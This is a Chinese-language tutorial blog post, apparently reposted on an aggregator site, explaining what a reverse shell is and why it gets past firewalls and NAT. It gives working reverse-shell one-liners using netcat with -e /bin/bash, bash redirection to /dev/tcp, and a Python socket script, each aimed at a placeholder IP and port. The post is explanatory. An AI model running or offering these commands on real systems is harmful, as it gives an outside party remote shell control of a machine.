什么是反弹 Shell?

2024-05-15 11:32
文章标签 shell 反弹

本文主要是介绍什么是反弹 Shell?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这是「进击的Coder」的第 605 篇技术分享

前段时间被一位产品经理嘲笑了,说我居然连反弹 Shell 都不知道!

说实话当时我还真不知道,但这口气咽不下去啊,得赶紧学来看看,这不,我已经学会了!

学完之后我特地来记录下,同时分享给大家,以后产品经理再也不敢嘲笑我们不懂反弹 Shell 了!

什么是反弹 Shell

我们都知道 Shell 的概念吧,简单来说,Shell 就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。

那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。

比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。

反弹 Shell 有什么用?

还是原来的例子,我们想用 A 来控制 B,如果想用 ssh 等命令来控制,那得输入 B 的 sshd 地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:

  • A 虽然有公网 IP,但 B 是一个处于内网的机器,A 就没法直接连到 B 上。

  • B 上开了防火墙或者安全组限制,sshd 的服务端口 22 被封闭了。

  • B 是一台拨号主机,其 IP 地址经常变动。

  • 假如 B 被攻击了,我们想让 B 向 A 汇报自己的状况,那自然就需要 B 主动去连接 A。

如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。

反弹 Shell 案例

首先我们先看一个标准的反弹 Shell 的例子,这里我们一共需要两台主机:

  • A 是控制端,可以处于公网之中,也可以和 B 处于一个局域网中,总之能让 B 找到 A 就行。

  • B 是被控端,可以处在局域网之中。

在开始之前我们需要用到 nc 命令,安装非常简单。

如果是 CentOS 系列系统,安装命令如下:

yum install -y nc # CentOS

如果是 Ubuntu 系列系统,安装命令可以参考 https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu[1]

接着,我们在 A 上执行如下命令:

nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

1148a55753d5d1f8993713ceaa781683.png

这样就表明 A 上正在监听 32767 端口的连接了。

这时候,我们可以在 B 上通过类似的命令连接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:

nc 111.112.113.114 32767 -e /bin/bash

注意:你在运行的时候需要替换成 A 的真实 IP 和端口。

运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:

uname -a

然后就可以得到 B 的主机名了。

如图所示:

32924e0240f9343a81aced9352b8c594.png

这样我们就通过 nc 包实现了反弹 Shell。

有人说,这 B 上一定需要安装 nc 这个包吗?其实不一定的,我们可以直接使用 bash 来实现反弹 Shell,命令如下:

bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大致解释下:

  • bash -i 就是产生一个 bash 交互环境

  • >&可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方

  • /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址,因为 Linux 环境中所有内容的定义都是以文件的形式存在的,指定这个地址就是让主机和目标主机建立一个 TCP 连接。

  • 0>&1可以将标准输入和标准输出相结合,重定向给前面标准输出的内容。

通过这样的命令,我们就可以就是将 B的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:

d5bd810d06246e78268fa6baf26cdcad.png

比如这样我们就可以轻松在 A 主机上拿到 B 主机的主机名、当前所处路径等内容了。

另外除了用 bash,我们还可以利用 Python 进行反弹 Shell,脚本如下:

python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

可以达到同样反弹 Shell 的效果,即可以用 A 来控制 B。

总结

以上就是反弹 Shell 的介绍,灵活运用反弹 Shell 可以大大便利某些场景下的远程控制,希望对大家有帮助。

2924622ae66cce93f57e52b377c9abe5.png

End

崔庆才的新书《Python3网络爬虫开发实战(第二版)》已经正式上市了!书中详细介绍了零基础用 Python 开发爬虫的各方面知识,同时相比第一版新增了 JavaScript 逆向、Android 逆向、异步爬虫、深度学习、Kubernetes 相关内容,‍同时本书已经获得 Python 之父 Guido 的推荐,目前本书正在七折促销中!

内容介绍:《Python3网络爬虫开发实战(第二版)》内容介绍

f55033ea593b72761aab56c5016a7071.png

扫码购买

2ec053362d37d952f54adc7ba03b9fb1.png

好文和朋友一起看~

这篇关于什么是反弹 Shell?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/991717

相关文章

shell脚本快速检查192.168.1网段ip是否在用的方法

《shell脚本快速检查192.168.1网段ip是否在用的方法》该Shell脚本通过并发ping命令检查192.168.1网段中哪些IP地址正在使用,脚本定义了网络段、超时时间和并行扫描数量,并使用... 目录脚本:检查 192.168.1 网段 IP 是否在用脚本说明使用方法示例输出优化建议总结检查 1

jenkins 插件执行shell命令时,提示“Command not found”处理方法

首先提示找不到“Command not found,可能我们第一反应是查看目标机器是否已支持该命令,不过如果相信能找到这里来的朋友估计遇到的跟我一样,其实目标机器是没有问题的通过一些远程工具执行shell命令是可以执行。奇怪的就是通过jenkinsSSH插件无法执行,经一番折腾各种搜索发现是jenkins没有加载/etc/profile导致。 【解决办法】: 需要在jenkins调用shell脚

站长常用Shell脚本整理分享(全)

站长常用Shell脚本整理分享 站长常用Shell脚本整理分享1-10 站长常用Shell脚本整理分享11-20 站长常用Shell脚本整理分享21-30 站长常用Shell脚本整理分享31-40 站长常用Shell脚本整理分享41-50 站长常用Shell脚本整理分享51-59 长期更新

Shell脚本实现自动登录服务器

1.登录脚本 login_server.sh #!/bin/bash# ReferenceLink:https://yq.aliyun.com/articles/516347#show all host infos of serverList.txtif [[ -f ./serverList.txt ]]thenhostNum=`cat ./serverList.txt | wc -l`e

[轻笔记]ubuntu shell脚本切换conda环境

source /home/yourhostname/anaconda3/etc/profile.d/conda.sh # 关键!!!conda activate env_name

[轻笔记] ubuntu Shell脚本实现监视指定进程的运行状态,并能在程序崩溃后重启动该程序

根据网上博客实现,发现只能监测进程离线,然后对其进行重启;然而,脚本无法打印程序正常状态的信息。自己通过不断修改测试,发现问题主要在重启程序的命令上(需要让重启的程序在后台运行,不然会影响监视脚本进程,使其无法正常工作)。具体程序如下: #!/bin/bashwhile [ 1 ] ; dosleep 3if [ $(ps -ef|grep exe_name|grep -v grep|

adb shell 执行后台程序后断开adb后台进程被结束的解决办法

环境:Android 版本 Android8 通常让程序后台执行就是在命令 最后加上 &即可,但是在Android 8上实验发现,程序的确后台了,但是拔掉USB线再连接上发现进程已结束。不确定Android早期版本是否存在此问题。 参考网上一些Linux方法,如加nohup 仍然无效,还是会结束。看来Android adb shell 与 Linux shell 还是有一定区别。 后来在网上

shell脚本中变量中字符串替换的测试 /和//的区别

test_char=abbbcbbbf echo "bf:test_char = " $test_char test_char=${test_char/bbb/ddd} echo "af:test_char = " $test_char 输出: bf:test_char =  abbbcbbbf af:test_char =  adddcbbbf 只匹配第一个

shell循环sleep while例子 条件判断

i=1# 小于5等于时候才执行while [ ${i} -le 5 ]doecho ${i}i=`expr ${i} + 1`# 休眠3秒sleep 3doneecho done 参考 http://c.biancheng.net/cpp/view/2736.html

Linus常用的快捷键与shell常用通配符

一,常用快捷键: Ctrl+c这一个快捷键在Linux下的作用是强行终止当前程序(但不退出终端),其实在其他一些软件,比如MATLAB中,Ctrl+c也有终止程序的作用,如果你的程序进入了死循环,就可以用Ctrl+c来终止程序。 除了最普遍的Ctrl+c之外,还有以下快捷键:   按键  作用Ctrl+d 键盘输入结束或退出终端 Ctrl+s 暂定当前程序,暂停后